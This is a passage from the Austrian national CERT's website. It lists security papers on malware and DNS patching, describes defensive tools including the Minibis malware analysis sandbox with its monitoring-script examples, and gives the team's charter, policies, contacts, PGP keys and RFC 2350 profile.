In the worst case this can lead to an entirely wrong interpretation of a case/situation.

While this issue is not entirely new, it is necessary to raise the IT-Security community's awareness, as some of the common tools and procedures in use need to be adapted in the presence of the files system redirector.

(Downloads/Papers) - An Analysis of the Skype IMBot Logic and Functionality

2013-03-20T11:05:17Z

An Analysis of the Skype IMBot Logic and Functionality

2010/03/08

An Analysis of the Skype IMBot Logic and Functionality.

Download

Publication Date

March, 08th 2010

Author

Christian Wojner, L. Aaron Kaplan

Language

English

History

You can download the full document in pdf format here.

Content

The following report analyzes the Skype Instant Messenger Bot ("Skype IMBot", a variation of the W32.Nytemare trojan) and reports our reverse engineering efforts. One peculiar aspect of Skype IMBot was the way it controlled Skype (and other Instant Messengers) - simulating user input and user keystrokes. This reminded us of a limited Turing Test: did the malware or a true user send the URL? The report covers the reverse engineering of the Skype IMbot, network logic and recommendations to CERTs, users and Skype. It closed with an outlook on further instant messenger bots.

(Downloads/Papers) - Mass Malware Analysis: A Do-It-Yourself Kit

2013-03-20T11:05:17Z

Mass Malware Analysis: A Do-It-Yourself Kit

2009/10/14

Theory, practice and a construction manual for an automated analysis station for malware using trivial and free instruments.

Download

Publication Date

October, 14th 2009

Author

Christian Wojner

Language

English

History

You can download the full document in pdf format here.

Content

This paper outlines the relevant steps to build up a customizable automated malware analysis station by using only freely available components with the exception of the target OS (Windows XP) itself. Further a special focus lies in handling a huge amount of malware samples and the actual implementation at CERT.at. As primary goal the reader of this paper should be able to build up her own specific installation and configuration while being free in her decision which components to use.

The first part of this document will cover all the theoretical, strategic and methodological aspects. The second part is focusing on the practical aspects by diving into CERT.at's automated malware analysis station closing with an easy to follow step-by-step tutorial, how to build up CERT.at's implementation for your own use. So feel free to skip parts.

(Downloads/Papers) - Detecting Conficker in your Network

2013-03-20T11:05:17Z

Detecting Conficker in your Network

2009/02/11

Description of a method to detect earlystate Conficker worm infections through blocklists fitting the needs of small and medium enterprises.

Download

Publication Date

2009/02/11

Author

Adi Kriegisch

Language

English

Download

You can download the full document in pdf format here.

Content

Conficker is a computer worm spreading on Windows operating system by mainly using a buffer overflow or the Windows Autorun feature. The worm itself does not contain malware functions but contains a routine to load such code after infection. The purpose of this article is to sketch a way to detect such a worm in a small to medium business network as early as possible so that the effects of the worm can be minimized.

(Downloads/Papers) - Patching Nameservers: Austria reacts to VU#800113

2013-03-20T11:05:17Z

Patching Nameservers: Austria reacts to VU#800113

2008/07/24

A report on the patch-rate of Austrian nameservers following announcement of the DNS cache poisoning vulnerabilty.

Download Original

Download Update

Publication Date

July, 24th 2008

Authors

Otmar Lendl and L. Aaron Kaplan

Language

English

History

You can download the full document in pdf format here.

We also published a short update on July 28th.

Content

This paper analyses the impact of the coordinated efforts to patch Austria's recursive DNS server infrastructure following the revealings of Dan Kaminsky (US-CERT VU#800113) which showed that almost all DNS servers on the Internet are vulnerable to DNS cache poisoning. CERT.at -- being run by nic.at, the Austrian domain registry -- is in a special position to be able to assess the reaction of the Austrian nameserver operators to the discovered DNS vulnerability. We analyzed the rate at which DNS servers were patched from an insecure to more secure state. The paper discusses a methodology to measure the patch level "score" of a recursive DNS server. We believe that this score methodology can be applied to cleanly discern patched from unpatched DNS servers.

We describe a methodology how a TLD operator can use his query logs to check which operators have patched their DNS resolvers according to the published advisories.

The conclusions are rather grim so far -- more than two thirds of the Austrian Internet's recursive DNS servers are unpatched while at the same time the upgrade adoption rate seems rather slow. Our findings are matched by the observations of Alexander Klink of Cynops GmbH who analyzed the results of the online vulnerability test on Dan Kaminsky's doxpara site.

We hereby present the information to the concerned public in the hope that DNS -- a central and crucial part of the Internet -- remains secure.

Our recommendation to IT system administrators is to update their recursive DNS servers immediately and check that their upgrades were successful.

(Downloads/Software) - Bytehist

2013-03-20T11:05:16Z

Bytehist

A tool for generating byte-usage-histograms for all types of files with a special focus on binary executables in PE-format (Windows).

Download latest Windows version

Download latest Linux version

Author

Christian Wojner

Language

English

License

ISCL

Releases	Changes
1.0 beta 1	-			x

Features

Makes byte-usage-histograms of any file of any size
Histograms are generated as sorted and unsorted diagrams
Sub-histograms for each section of binary executables (PE)
Quick overview with GUI navigation in case of sub-histograms
Percentage for the share in the total filesize for sub-histograms
Sourcerelated names for sub-histograms (= section-names in case of PEs)
Results can be saved as .jpg, .bmp and .png files
Works as GUI and also as commandline tool (for scripting purposes)

Syntax

bytehist [options file]

Executing bytehist without any parameters activates full GUI-mode.

options:	-nogui	... don't bring up any GUI
	-save file	... save histogram to given file (bmp, png or jpg)
	-h	... show a short help

Description

Statistics can be a very good method if you want to detect encrypted or packed data. Data that has been manipulated in such a way usually comes up with a very even distribution of bytes being used. In contrast normal data typically has some bytes that are used constantly, which is caused by any kind of structures. So the byte-distribution of unencrypted and unpacked clear text, database-files, ... and even executable binaries differ massevily from the encrypted and/or packed ones. By putting this "phenomenon" into a picture this difference can be easily visualized by histograms.

Examples:

The first example shows an unpacked file. In fact the source of this histogram was a log-file - so that's human readable information.
The second example roots in an usual ZIP-archive.
So as formerly said, to see the difference between them is an easy one.

Let's take a closer look at these examples. Both of them have a green and a red section. In the green section every pixel-column complies to it's positional matching bytecode and visualizes the number of occurrences in a vertical bar. In other words, a tall green bar on the most left side tells us that the byte-code 0h had lots of occurrences. And on the most right side you'll find byte-code FFh.
The red section has the same roots like the green section but this time we got all the possible byte-codes in a descending order regarding their occurrences. This makes it much easier to see the evenness.
Besides that two sections you'll also find the filename being shown on the top right corner and a percentage.

To get an understanding for what this percentage is trying to tell, let's take a look at what more bytehist can do for us. bytehist can split up histograms in sub-histograms. At the moment the most senseful situation of providing sub-histograms is when you have to deal with binary executables. Binary executables are usually internally split up in a number of sections. There are sections for containing data, code, and so on. It is a common approach that executables are being packed or/and even encrypted before they get publicly rolled out. Especially in the malware-sector encryption and packing is massively used as a kind of hurdle to hinder deep analysis through reversing (i.e.). So, in the case of a binary executable in PE format - that's the one Microsoft Windows uses - bytehist will come up with an overall-histogram as well as providing one histogram per section it found and even one for possible rest behind the last section. Regarding the percentage the overall-histogram will still say "100%" but all the others will tell the percentage of their specific share in the total filesize.

Examples:

Both of the examples have a scrollarea on the right side showing thumbs of the relating (sub-)histogram. By clicking them with the left mouse-button they can be zoomed. Once again we have firstly an unpacked and secondly a packed file, but this time, binary executables.

This feature gives a reverser the possibility to instantly find out the section that's containing (if so) packed/encrypted data.

Full examples ...

Packed data behind sections:

An UPX packed executable:

bytehist itself - unpacked:

(Downloads/Software) - DensityScout

2013-03-20T11:05:16Z

DensityScout

This tool calculates density (like entropy) for files of a any file-system-path to finally output an accordingly descending ordered list. This makes it possible to quickly find (even unknown) malware on a potentially infected Microsoft Windows driven machine.

Download latest Windows version

Download latest Linux version

Author

Christian Wojner

Language

English

License

ISCL

Releases	Changes
Build 42	-			x

NOTE: A detailed description is about to come soon ...

(Downloads/Software) - Minibis

2013-03-20T11:05:16Z

Minibis

Software and tips to easily build up an automated malware analysis station based on a concept introduced in the paper "Mass Malware Analysis: A Do-It-Yourself Kit".

Download latest release

Author

Christian Wojner

Language

English

License

ISCL

Releases	Changes	Download
2.1 (201106011616)	Newly compiled Researcher executables because of crashes caused by a massive bug in the latest compiler
2.1 (201104201820)	Final version 2.1, see readme-file for details
2.1 beta (20101203_1)	Second open beta of version 2.1, see readme.txt for changes
2.1 beta (20101029_1)	First open beta of version 2.1, see readme.txt for changes
2.0 (29/29)	Release 2.0
2.0 beta (28/29)	Forceable quit / Recovers from crashes
2.0 beta (27/29)	Check Internet connectivity / Exit only if analysis paused
2.0 beta (25/29)	-

Stay Informed

If you are interested in the actual state and the progress of upcoming features you might want to take a look at Minibis' Twitter channel: https://twitter.com/CERTat_Minibis.

Feedback

If you encounter any issues (that also includes this textfile) even if it's just some kind of misunderstanding we'd be glad if you contact us via wojner(at)cert.at.

Important News

We have been recently informed that some of Minibis' tools are generically detected as potentially bad software by some antivirus-solutions.
After a detailed analysis of the according executables in our lab we can assure you that these detections are just false positives.
Furthermore it's not so unlikely that specific tools focused on dealing with malicious code have some similarity with the latter and are sometimes interpreted as (potentially) malicious by generic detection-methods.

Compatibility Issues

Version 2.1 is not compatible to data of older versions (<=2.0) of Minibis!

Specific Terms

Researcher
According to the classical host/guest-concept of desktop-virtualization this is the host, and furthermore the so to say "save" place in Minibis.

Proband
According to the classical host/guest-concept of desktop-virtualization this is the guest, and furthermore the so to say "dirty" place in Minibis.

Changed Defaults

Keep in Mind! It might be possible that a new Minibis version comes up with (slightly) changed defaults for the scripts. Create a new configuration-file from the in "minibis-gui" integrated/stored default-configuration and compare it with the settings of your existing configurations. Adjust them if necessary.

Read the Readme

Any new version of Minibis comes along with a readme-file which has very detailed information regarding the changes that have been made.
Furthermore the older readmes are also provided as historical information.

Background
Installation Guide
Configuration Guide
One Loop-Cycle
Scripting of Common Tools and Tasks
Screenshots

Background

For detailed information on the underlying concept we recommend you read our paper "Mass Malware Analysis: A Do-It-Yourself Kit".

Installation Guide

As a Minibis installations includes commercial software it is not possible for us to provide a complete installation-package. The following step-by-step guide will lead you through the configuration of a typical Minibis environment.

Select the (physical) machine you like to be the home of your Minibis environment.
Install the latest version of Ubuntu (32 bit) on it.
Install proftpd (via "apt-get install proftpd" and choose servermode).
If not already installed install zip (via "apt-get install zip").
Create a user "minibis" and do not forget to give it a password.
Give your own user (the one you will start "minibis-cpr" from) full permissions to the home of "minibis" and verify that you can read, write, and delete in it (i.e. by adding your user to the group "minibis" and add writing-permission on /home/minibis to the latter).
Download Minibis and extract the content of the folder "Researcher" to your desired folder.
Install Oracle's VirtualBox (follow the instructions on their website).
Create a new virtual machine (VM) in it using Windows XP as operating-system with a (due to issues with VBox) bridged network-interface. The default settings for the machine and the OS are fine. Disable any autoupdate features, though, as they will add noise to the monitoring-log. Furthermore disconnect any (virtual) volumes (i.e.: CD, ISO, ...) as this is necessary to prevent eventual popups like autoplay, new hardware found etc.).
Install Acrobat Reader and Flash Player (for the according sample-types to be usable).
(Optional) Install further tools you'd like to use.
Transfer "minibis-cpp.exe" to the VM's Windows desktop (eventually by downloading it from our website).
Execute "minibis-cpp.exe" in the VM and answer an eventual firewall question to NOT BLOCK this application.
On the upcoming form configure FTP-server, -user, and -password.
Click "Setup Proband" and make sure that all lines are green. If not install the regarding tool by double-clicking the according line following the instructions.
Get back to the form with the FTP-configuration and hit "Check Proband's config". This checks if everything's running smoothly.
Finally - in case of the check was OK - hit "Prepare Proband ..."
Create a VM-snapshot of this state.
Close the VM, using the option to revert to the last taken snapshot.
Bring your samples into Linux's filesystem (i.e. by mounting a CD-Rom).
Set "minibis-cpr", "minibis-gui", "postminibis", "certatpmp", and "certat.pmp" as executable (chmod +x ...).

Minibis should now be ready for configuration.

Configuration Guide

Note #1! Do never alter an configuration-file directly in an editor, use Minibis for that by clicking on the "Config"-button in the main-window.

Note #2! Use (read) the tooltips Minibis provides for nearly any form-field.

Configuration files

Minibis is (now) based on configuration-files. They are so to say project-files similar to other softwares GUIs which you can open, save, save as, and so on via the according "File"-menu. Any configuration-file should stand for a specific configuration-scenario.

".."-buttons behind fields

As usual a click on such a button brings up a tiny wizard that provides support in finding the proper value.

The "check"-button

By clicking this button the actual configuration is going to be checked for consistency. Note that in case of multiple errors each click will always come up with just one error. So make sure to re-check if you solved a problem.

Samples

... regardless if just one or a whole directory (including its subdirectories) are selected on the main-form.

Scripting

When it comes to scripting we're just talking about Bash-scripts on the Linux side and Batch-scripts on the Windows side. Any of these scripts support replacement-tokens which can be used to include specifics of the actual focused sample. Read the tooltips for further information.

Tip: You can click on the "eye"-button to see an example representation of the regarding script with all replacement-tokens substituted. This is a very convenient way to proof your scripts. Furthermore this will also provide you with some extra-information (i.e. the filesystem-location where the script will run).

Tab "General Settings"

Area "Results"

"Directory" is the path where the log-files will be stored. With the checkbox to the right you can choose if all log-files will be stored directly in this directory or if you want to store these in a more organized way by automatically creating subfolders according to the timestamp the regarding scan started.

Area "Researcher-Proband-Communications"

"FTP-Directory" is the path where the log-files will be transferred to from Proband. "Samplename" is the name that will be used for the sample at the proband. Some malware reacts to specific names, so this is the place where you can change it. Regarding "Virtual Machine" you can switch between the actually supported solutions (currently only VirtualBox) and choose the right virtual machine instance.

Area "Bugfixes for Virtual Box Commandline Client"

These are settings that help to prevent processes of VirtualBox from getting stuck. If you already have other (VBox) virtual machines running you might want to uncheck those. The first checkbox addresses stopping and the second reverting the VM.

Area "Virtual Machine Management"

Here you can specify the commands that will be used for the corresponding VM activities. The id of the VM is addressed by the replacement token %vmid%. Besides that, any of them has a timeout for hangup-prevention.

Tab "Researcher Scripting"

To let you customize the researcher side there are three events (therefore three editor-fields) that can be scripted using shell-scripting (Linux). Replacement tokens can be used to include specifics of the actual sample.

For further details when those events exactly happen, see "One Loop-Cycle".
You'll find tutorials and examples regarding scripting under "Scripting of Common Tools and Tasks".

Tab "Proband Scripting"

To let you customize the Proband's side there are two events (the two lower editor-fields) that can be scripted using batch-scripting (Windows).
The actions scripted for these two events are tied to the two editor-fields above called "Tools to transfer" and "Results to transfer ([...] to ZIP)". The first ("Tools...") is used to define (name) the tools (files) that will be copied to the Proband for use in later activities. The second ("Results...") is used to define (name) the files that will be transferred back from the Proband. If the filename is enclosed in square brackets "[...]" the file will get ZIPped into an archive after it arrives on Researcher.

Note: Since version 2.1 we recommend you to have the used tools already at the Proband in its temp-folder. You can still use the tool-transfer-box but especially in situations of mass-malware-analysis it's highly recommended to save time where you can. Furthermore having all those tools in the "right" place will lead to a more cleaned up Minibis environment.

For further details when scripting-events exactly happen and how the "Tools..." and the "Results..." are handled see "One Loop-Cycle".
More Tutorials and examples regarding scripting can be found under "Scripting of Common Tools and Tasks".

Tab "Sample-Types"

As the execution of samples itself is (now) designed in a generic way any type of sample can be thrown into Minibis as long as it's scripted right. To do so we tried to keep this act as easy as possible. However, don't be scared about the complexity of this feature, in most cases you won't have to do any adjustments to this as Minibis by default is already bundled with scripts for a lot of wellknown sample-types.

Actually Minibis can work with the following sample-types:

.exe (Windows standard executable filetype)
.dll (Windows DLLs)
.swf (Flash movies)
.pdf (PDFs)
.js (Javascript code)
URLs (Websites, etc.)

More sample-types are about to come in the future as necessary or as asked.

Besides that it's necessary to mention that for each sample any activated (by checkmark) sample-type is checked against it if it matches to start a scan according to this type of sample. Furthermore, if you have more than one sample-type that matches the actual sample you'll get one scan-run for each match. The idea behind this is to be able to create multiple sample-type-configurations for example URLs to throw them into various browsers and compare the results afterwards.

All information you need to distinguish between such cases is right in the names of the returned results. Here's the convention:

md5_of_the_sample++internal_vmid+sample_type++resultfile

Example:
b09c357a419069ccd70342419641f812++00+URL++minibis.log2

One Loop-Cycle

Assuming that the sample can be executed, this is a chronological list of all actions that can (some of them are optional) happen. It is important to understand that in this list the two components of Minibis - CPR and CPP - are described as what they really are: one logical entity. The tags (R) and (P) specify the location ((R)esearcher or (P)roband) of the action:

(R) Copy sample to FTP-path (config) as samplename (config) with the apropriate suffix according to the result of Linux' "file"-command.
(R) Execute the actions tied to event "Actions BEFORE Proband gets started" (config).
(R) Execute the command declared under "VM Management Start" (config) and wait until the triggerfile "%md5%_start.rdy" exists or the timeout for "VM Management Start" occurs. In case of the latter do the steps 14, 15, 17, 19 and return to step 3.
(P) Fetch the preference file "minibis.pref" via FTP.
(P) Fetch all tools (files) according to "Tools to transfer" (config) via FTP.
(P) Transfer back the triggerfile "%md5%_start.rdy" via FTP.
(R) Wait until a triggerfile "%md5%_ready.rdy" exists or the timeout for "CPR" (config) occurs.
Meanwhile (optionally) execute the actions tied to event "Actions WHILE Proband runs" and optionally repeat this every N seconds (see config field "every").
If the timeout occurred then continue with step 14.
(P) Execute the actions tied to event "Actions BEFORE sample gets executed" (config).
(P) Execute the actions tied to "Execution-Script" and wait until it exits or the timeout for "CPP" (config) occurs. If the sample exited wait until the additional timeout ("+") occurs.
(P) Execute the actions tied to event "Actions AFTER sample exited or time's up" (config).
(P) Transfer back all files according to "Results to transfer ([...] to ZIP)" (config) via FTP.
(P) Transfer back the triggerfile "%md5%_ready.rdy" via FTP.
(P) Exit.
(R) Execute the command declared under "VM Management Stop" (config) and wait until it exits or the timeout for "VM Management Stop" occurs.
(R) Optionally execute "Solutions for VBox bugs" column 1 (config).
(R) Execute the actions tied to event "Actions AFTER Proband got stopped" (config).
(R) Execute the command declared under "VM Management Revert" (config) and wait until it exits or the timeout for "VM Management Revert" occurs.
(R) ZIP all files surrounded with [...] according to "Results to transfer ([...] to ZIP)" (config) into the archive "%md5%.zip".
(R) Optionally execute "Solutions for VBox bugs" column 2 (config).
(R) Delete "minibis.pref" and the sample from FTP-folder.
(R) Copy all results from FTP-folder to results-folder.

Scripting of Common Tools and Tasks

This section gives you example configurations for the integration of widely used monitoring tools into Minibis.

Sysinternals Process Monitor

You can download/install the latest version of Procmon via "minibis-cpp.exe" by entering its setup (by clicking the according button) and doubleclicking on the regarding line (follow the instructions).
Extract "Procmon.exe" to the temp-folder.

Proband Scripting

Results to transfer ([...] to ZIP):

[procmon.pml]
procmon.csv
Actions BEFORE sample gets executed:

start Procmon.exe /AcceptEula /quiet /minimized /Backingfile procmon.pml
Procmon.exe /AcceptEula /WaitForIdle
Actions AFTER sample exited or time's up:

Procmon.exe /AcceptEula /terminate
Procmon.exe /AcceptEula /saveas procmon.csv /openlog procmon.pml

WinDump: tcpdump for Windows

You can download/install the latest versions of WinDump and WinPcap via "minibis-cpp.exe" by entering its setup (by clicking the according button) and doubleclicking on the regarding line (follow the instructions).
Install WinPcap and copy "WinDump.exe" to the temp-folder.

Proband Scripting

Results to transfer ([...] to ZIP):

[windump.pcap]
Actions BEFORE sample gets executed:

start WinDump.exe -i 1 -w windump.pcap -U -s 0
sleep.exe 1
Actions AFTER sample exited or time's up:

taskkill /f /im WinDump.exe
sleep.exe 1
Actions AFTER Proband got stopped:

tcpdump -n -p -r - < %sample%++windump.pcap > %sample%++windump.txt

Uncheck "After zipping"!

Creating a Screenshot

Proband Scripting

Results to transfer ([...] to ZIP):

screenshot.png
Actions AFTER sample exited or time's up:

screenshot.exe screenshot.png

Screenshots

(Downloads/Software) - ProcDOT

2013-06-18T08:23:39Z

ProcDOT

This tool processes Sysinternals Process Monitor (Procmon) logfiles and PCAP-logs (Windump, Tcpdump) to generate a graph via the GraphViz suite. This graph visualizes any relevant activities (customizable) and can be interactively analyzed.

Download latest Windows version

Download latest Linux version

Author

Christian Wojner

Language

English

License

View ...

Donationware

Support the ProcDOT project ...

News on Twitter

https://twitter.com/ProcDOT

Forum

https://groups.google.com/forum/#!forum/procdot

Releases	Changes
1.0 (Build 31)	-	x
1.0 RC 3 (Build 29)	-	x
1.0 RC 2 (Build 28)	-	x
1.0 RC 1 (Build 26)	-	x

You've got some feedback (issues, ideas, etc.)?
Join our ProcDOT forum or drop us a line: team@cert.at

Now that it's time to think about new features we would like to invite you to take our according online survey helping us to prioritize: ProcDOT Feature Survey

Important

ProcDOT depends on third party software! Please follow the instructions in the included readme.txt to install and configure ProcDOT properly.

Quickstart-Guide

Select your logfiles
Sad but true, the specs for Procmon's native file-format (.PML) are not (publicly) available. Therefore you have to export your .PML file to .CSV which can be easily done via the "Save" menuitem in Procmon. Be sure to select "all events".
choose graphing mode (no paths, compressed)
select the first relevant (malicious) process (launching process)
click "Refresh"

Navigation-Guide

Node legend:
F1
Moving the Graph:
Drag with mouse (left button)
Zooming the Graph (in steps):
Ctrl + Scroll wheel
Zooming the Graph (100%):
Left double click (double click again to go back to previous scope)
Going back to previous scope:
Right double click (double lick again to re-fit and center graph to window)
Finding text:
Ctrl+F
Clear found text:
Esc
Contextmenu for nodes:
Get details, add filter rule

Screenshot

Instruction-Media

Cheatsheet: The User Interface

Tutorial-Video 1: The User Interface
Tutorial-Video 2: The Graph
Tutorial-Video 3: Analysis (Part 1)
Tutorial-Video 4: Analysis (Part 2): The Timeline

FAQs

ProcDOT whines about an "unknown format" of the used Procmon file.

Most probably you forgot to pre-configure Procmon properly. Please follow the instructions in the readme.txt!

ProcDOT whines about a not available PNG file.

Most probably you forgot to pre-configure Procmon properly. Please follow the instructions in the readme.txt!
However, with build 22 this error message will change to a more precise one. Actually the same "unknown format" message the "launcher" button uses if the Procmon file format doesn't match.

I get a blank (white) screen instead of a graph.

Most probably you forgot to choose a "launcher" process. If you just monitored a running system without invoking a specific process which can be chosen as a "launcher" keep the "launcher" empty, check the "dumb" checkbox, and refresh the graph.

Which executables shall I choose in ProcDOT's options?

For windump choose the according WinDump.exe (under Linux choose the according tcpdump with a fully qualified path, otherwise it won't work).
For the (DOT) executable of the Graphviz-Suite go to the according "bin"-folder and choose dot.exe (or dot under Linux).

(Downloads/Data) - Conficker Worm

2013-03-20T11:05:16Z

Conficker Worm

2009/02/09

Various files regarding the worm "Conficker".

all domains	... suitable for block lists (in proxies etc)
DNS named.conf file	... Bind named.conf file with all conficker domain names
sample bind zone file	... suitable for the named.conf file above.

(Downloads/Press material) - CERT.at Logo

2013-03-20T11:05:16Z

CERT.at Logo

CERT.at-Logo PNG-File small

CERT.at-Logo PNG-File medium

CERT.at-Logo PNG-File big

CERT.at-Logo PNG-File transparent

(Downloads/Press material) - HiRes Teamphotos

2013-03-20T11:05:17Z

HiRes Teamphotos

High resolution photographs of the CERT.at teammembers.

(About us/Overview) - Overview

2013-04-12T11:19:59Z

Overview

CERT.at is the Austrian national CERT.

CERT.at is the primary contact point for IT-security in a national context. CERT.at will coordinate other CERTs operating in the area of critical infrastructure or communication infrastructure. We will also provide basic IT-security information (warnings, alerts, advise) for SMEs.

In the case of significant online attacks against Austrian infrastructure, CERT.at will coordinate the reponse by the targeted operators and local security teams.

The full description of CERT.at can be found in RFC 2350 format.

Why?

Security needs an holistic approach! IT-systems are increasingly interconnected and thus interdependent. In order to protect the national infrastructure, the response to an attack needs to be coordinated between all stakeholders and operators.

(About us/Charter) - Charter

2013-03-20T11:05:17Z

Charter

The purpose of CERT.at is to coordinate security efforts and incident response for IT-security problems on a national level in Austria.

Constituency

The constituency are IT-security teams and local CERTs in Austria.

Pro-active and educational material will be provided for SMEs and the general public as well.

As part of a cooperation agreement with the Austrian Government CERT, CERT.at provices resources for incident response in government and crititical infrastructure networks.

Sponsorship and/or Affiliation

CERT.at is an initiative of nic.at, the Austrian domain registry.

Funding is provided by nic.at

Authority

CERT.at's main purpose in incident handling is the coordination of incident response. As such, we only advise local CERTs and have no authority to demand certain actions. We have indirect authority over AS35492 and are in very close contact with the ACONet CERT.

Confidentiality

CERT.at treats all submitted information as confidential per default, and will only forward it to concerned parties in order to resolve specific incidents.
For example: incoming report "Malware on www.foo.inalid/malware, please get it cleaned up". In this case, we would only forward the information to the concerned parties (domain-holder, hoster/ISP) to help them quickly fix the problem.

Especially we will not forward information about incidents to government authorities or the press without explicit prior permission by the submitting party.

(About us/Policies) - Policies

2013-03-20T11:05:17Z

Policies

Types of Incidents and Level of Support

CERT.at is authorized to address all types of computer security incidents which occur, or threaten to occur, in our constituency and which require cross-organizational coordination.

The level of support given by CERT.at will vary depending on the type and severity of the incident or issue, the type of constituent, the size of the user community affected, and CERT.at's resources at the time. Special attention will be give to issues affecting critical infrastructure.

Note that no direct support will be given to end users; they are expected to contact their system administrator, network administrator, or department head for assistance. CERT.at will support the latter people.

CERT.at is committed to keeping its constituency informed of potential vulnerabilities, and where possible, will inform this community of such vulnerabilities before they are actively exploited.

Co-operation, Interaction and Disclosure of Information

CERT.at will cooperate with other Organisations in the Field of Computer Security. This Cooperation also includes and often requires the exchange of vital information regarding security incidents and vulnerabilities. Nevertheless CERT.at will protect the privacy of their customers, and therefore (under normal circumstances) pass on information in an anonymized way only unless other contractual agreements apply.

CERT.at operates under the restrictions imposed by Austrian law. This involves careful handling of personal data as required by Austrian Data Protection law, but it is also possible that - according to Austrian law - CERT.at may be forced to disclose information due to a Court's order.

Communication and Authentication

For normal communication not containing sensitive information CERT.at will use conventional methods like unencrypted e-mail or fax.

For secure communication PGP-Encrypted e-mail or telephone will be used. If it is necessary to authenticate a person before communicating, this can be done either through existing webs of trust (e.g. FIRST, TI, …) or by other methods like call-back, mail-back or even face-to-face meeting if necessary.

(About us/Contact) - Contact

2013-03-20T11:05:17Z

Contact

CERT.at:	Computer Emergency Response Team Austria
Address:	nic.at Karlsplatz 1/2/9 A-1010 Vienna Austria
Telephone:	+43 1 5056416 78
Fax:	+43 1 5056416 79

Email

Please report security incidents to reports@cert.at.

General inquiries and communication not related to a specific incident should be addressed to team@cert.at.

CERT.at is not a public IT helpdesk and will thus refer questions like "is my PC infected" to public web ressources or commercial helpdesks.

PGP Setup

We will sign official communications with the following key:

pub 1024D/5C384328 2008-02-13
     Key fingerprint = 740C 68EC B6B6 2060 48A5 D49A 02FB C1EF 5C38 4328
     uid reports@cert.at (general communication key. For incident reports)
     sub 4096g/D7071014 2008-02-13

You can also use this key to encrypt mail addressed to us.

A keyring of all our keys is located at http://www.cert.at/static/pgpkeys.asc.

(About us/Team) - Team

2013-03-20T11:05:17Z

Team

Name	PGP ID	Fingerprint
Matthias Fraidl	56136FEF	D844 E1E7 ED02 FD43 3058 E6E2 8EEC 6DF2 5613 6FEF
Leon Aaron Kaplan	CDAE4DB6	BC3E 553E 102F 214F C59A 4A0C 2D7A 997A CDAE 4DB6
Team lead: Otmar Lendl	835E0B34	BE4E 1E48 E0F6 6987 181B 0D27 754E 9F02 835E 0B34
Stefan Lenzhofer	3D6AA815	4F37 B11E EAF7 E023 A248 0BFA 28B4 010C 3D6A A815
Christian Proschinger	E7E0609A	0336 1535 BD5F 9496 A7C5 DCBA 8929 9FA2 E7E0 609A
Stephan Richter	1108BB79	6CA0 8887 E397 6BA4 99EA D9D7 193D 08A6 1108 BB79
Robert Schischka	A2FD9DBC	9C27 EB2A 901F 95AD 5C3E 3F6A 537D F15D A2FD 9DBC
Robert Waldner	C33A2BC0	401B 4257 4D23 3DFD 8E09 C1B5 B327 48AD C33A 2BC0
Christian Wojner	770B4617	EFB8 1496 3DAA F632 7A89 0F20 6635 B222 770B 4617

(About us/Partners) - Partners

2013-03-20T11:05:17Z

Partners

	CERT.at is cooperation partner of the Austrian Government Computer Emergency Response Teams.
	CERT.at is approved by CERT-CC - which is the original CERT of Carnegie Mellon University - as a legitimate Computer Emergency Response Team and therefore being granted the usage of the trademark "CERT".
	CERT.at is accredited member of Trusted Introducer.
	CERT.at is member of FIRST.

(About us/RFC 2350) - RFC 2350

2013-03-20T11:05:17Z

RFC 2350

1. Document Information

This document contains a description of CERT.at according to RFC 2350. It provides basic information about the CERT, the ways it can be contacted, describes its responsibilities and the services offered. 1.1 Date of Last Update

This is version 0.6 as of 2008/06/23.

1.2 Distribution List for Notifications

There is no distribution list for notifications as of 2008/02.

1.3 Locations where this Document May Be Found

The current version of this document can always be found at http://www.cert.at/about/rfc2350/. For validation purposes, a GPG signed ASCII version of this document is located at http://www.cert.at/static/rfc2350.txt. The key used for signing is the CERT.at key as listed under 2.8.

2. Contact Information

2.1 Name of the Team

CERT.at

2.2 Address

CERT Team nic.at Karlsplatz 1/2/9 1010 Wien Austria

2.3 Time Zone

We are located in the central European timezone (CET) which is GMT+0100 (+0200 during day-light saving time).

2.4 Telephone Number

+43 1 5056416 78

2.5 Facsimile Number

+43 1 5056416 79

2.6 Other Telecommunication

None.

2.7 Electronic Mail Address

Please send incident reports to reports@cert.at.

Non-incident related mail should be addressed to team@cert.at.

2.8 Public Keys and Encryption Information

CERT.at uses a master signing key to sign all keys used for operational purposes. This trust anchor is:

pub   1024D/242EFA2F 2008-02-12 [expires: 2013-02-10]
      Key fingerprint = 0F71 E5DB 5A23 22AE D6A3  5706 A5A2 AC28 242E FA2F
uid                  cert.at master key <cert@cert.at>
sub   4096g/BA63C2F4 2008-02-12 [expires: 2013-02-10]

and can be found on most key-servers. Please do not use this key for communications with us.

All official communication by CERT.at will be signed by the current operations key, which is as of 2008/02:

pub   1024D/5C384328 2008-02-13
      Key fingerprint = 740C 68EC B6B6 2060 48A5  D49A 02FB C1EF 5C38 4328
uid                  reports@cert.at (general communication key. For incident reports) <reports@cert.at>
sub   4096g/D7071014 2008-02-13

Encrypted communications with CERT.at should use this operational key.

All keys (including the keys of individual team members) can be found http://www.cert.at/static/pgpkeys.asc

2.9 Team Members

The CERT team leader is Otmar Lendl. Other team members, along with their areas of expertise and contact information, are listed in the CERT.at web pages, at Team.

Management, liaison and supervision are provided by Robert Schischka, Technical Manger of nic.at.

2.10 Other Information

2.11 Points of Customer Contact

The preferred method for contacting CERT.at is via e-mail. For incident reports and related issues please use reports@cert.at. This will create a ticket in our tracking system and alert the human on duty.

For general inquiries please send e-mail to team@cert.at.

If it is not possible (or advisable due to security reasons) to use e-mail, you can reach us via telephone at +43 1 5056416 700.

CERT.at's hours of operation are generally restricted to regular business hours.

Please use our incident reporting form (or if you prefer there is also a german one).

3. Charter

3.1 Mission Statement

The purpose of CERT.at is to coordinate security efforts and incident response for IT-security problems on a national level in Austria.

3.2 Constituency

The constituency are IT-security teams and local CERTs in Austria.

Pro-active and educational material will be provided for SMEs and the general public as well.

3.3 Sponsorship and/or Affiliation

CERT.at is an initiative of nic.at, the Austrian domain registry.

Funding is provided by nic.at

3.4 Authority

4. Policies

4.1 Types of Incidents and Level of Support

CERT.at is authorized to address all types of computer security incidents which occur, or threaten to occur, in our Constituency (see 3.2) and which require cross-organizational coordination.

CERT.at is committed to keeping its constituency informed of potential vulnerabilities, and where possible, will inform this community of such vulnerabilities before they are actively exploited.

4.2 Co-operation, Interaction and Disclosure of Information

4.3 Communication and Authentication

For normal communication not containing sensitive information CERT.at will use conventional methods like unencrypted e-mail or fax.

5. Services

5.1 Incident Response

CERT.at will assist IT-security team in handling the technical and organizational aspects of incidents. In particular, it will provide assistance or advice with respect to the following aspects of incident management:

5.1.1. Incident Triage

